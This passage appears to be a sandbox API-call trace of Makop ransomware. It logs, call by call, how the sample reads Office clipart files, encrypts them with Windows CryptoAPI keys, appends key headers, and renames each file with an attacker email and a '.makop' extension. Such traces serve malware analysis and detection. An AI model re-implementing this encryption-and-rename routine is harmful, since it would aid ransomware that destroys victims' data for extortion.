SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.840] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4dd3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4dd3, lpOverlapped=0x0) returned 1 [0117.842] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4de0, dwBufLen=0x4de0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4de0) returned 1 [0117.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4de0, lpOverlapped=0x0) returned 1 [0117.842] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4eb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.842] SetEndOfFile (hFile=0xf0) returned 1 [0117.849] GetProcessHeap () returned 0x48a0000 [0117.849] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.849] GetProcessHeap () returned 0x48a0000 [0117.850] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.850] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.850] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.851] CloseHandle (hObject=0xf0) returned 1 [0117.851] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1 [0117.851] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF") returned 63 [0117.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.853] GetProcessHeap () returned 0x48a0000 [0117.853] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.853] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.853] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.853] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0117.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.858] GetProcessHeap () returned 0x48a0000 [0117.858] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.858] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.858] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.859] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.859] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.859] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.859] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.859] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.860] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.860] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.860] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3801, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3801, lpOverlapped=0x0) returned 1 [0117.862] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3810, dwBufLen=0x3810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3810) returned 1 [0117.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.862] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3810, lpOverlapped=0x0) returned 1 [0117.862] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.862] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x38e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.863] SetEndOfFile (hFile=0xf0) returned 1 [0117.866] GetProcessHeap () returned 0x48a0000 [0117.866] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.866] GetProcessHeap () returned 0x48a0000 [0117.866] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.866] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.866] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.867] CloseHandle (hObject=0xf0) returned 1 [0117.867] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0117.867] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF") returned 63 [0117.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.868] GetProcessHeap () returned 0x48a0000 [0117.868] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.868] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0117.873] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.873] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.873] GetProcessHeap () returned 0x48a0000 [0117.873] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.873] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.873] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.873] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.874] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.874] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.874] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.874] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.874] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.874] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.874] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.875] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a92, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2a92, lpOverlapped=0x0) returned 1 [0117.876] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2aa0, dwBufLen=0x2aa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2aa0) returned 1 [0117.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.877] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2aa0, lpOverlapped=0x0) returned 1 [0117.877] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.877] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.877] SetEndOfFile (hFile=0xf0) returned 1 [0117.884] GetProcessHeap () returned 0x48a0000 [0117.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.884] GetProcessHeap () returned 0x48a0000 [0117.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.884] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.885] CloseHandle (hObject=0xf0) returned 1 [0117.885] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0117.885] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF") returned 63 [0117.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.886] GetProcessHeap () returned 0x48a0000 [0117.886] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.887] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0117.891] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.891] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.891] GetProcessHeap () returned 0x48a0000 [0117.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.891] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.891] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.891] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.891] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.892] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.892] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.892] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.892] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.892] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.893] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x148b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x148b, lpOverlapped=0x0) returned 1 [0117.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490, dwBufLen=0x1490 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1490) returned 1 [0117.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1490, lpOverlapped=0x0) returned 1 [0117.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.894] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.894] SetEndOfFile (hFile=0xf0) returned 1 [0117.901] GetProcessHeap () returned 0x48a0000 [0117.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.901] GetProcessHeap () returned 0x48a0000 [0117.901] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.901] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.901] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.903] CloseHandle (hObject=0xf0) returned 1 [0117.903] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0117.903] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0117.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.904] GetProcessHeap () returned 0x48a0000 [0117.904] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.904] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x9, lpOverlapped=0x0) returned 1 [0117.908] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.908] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.908] GetProcessHeap () returned 0x48a0000 [0117.908] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.908] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.908] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.908] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.908] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.909] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 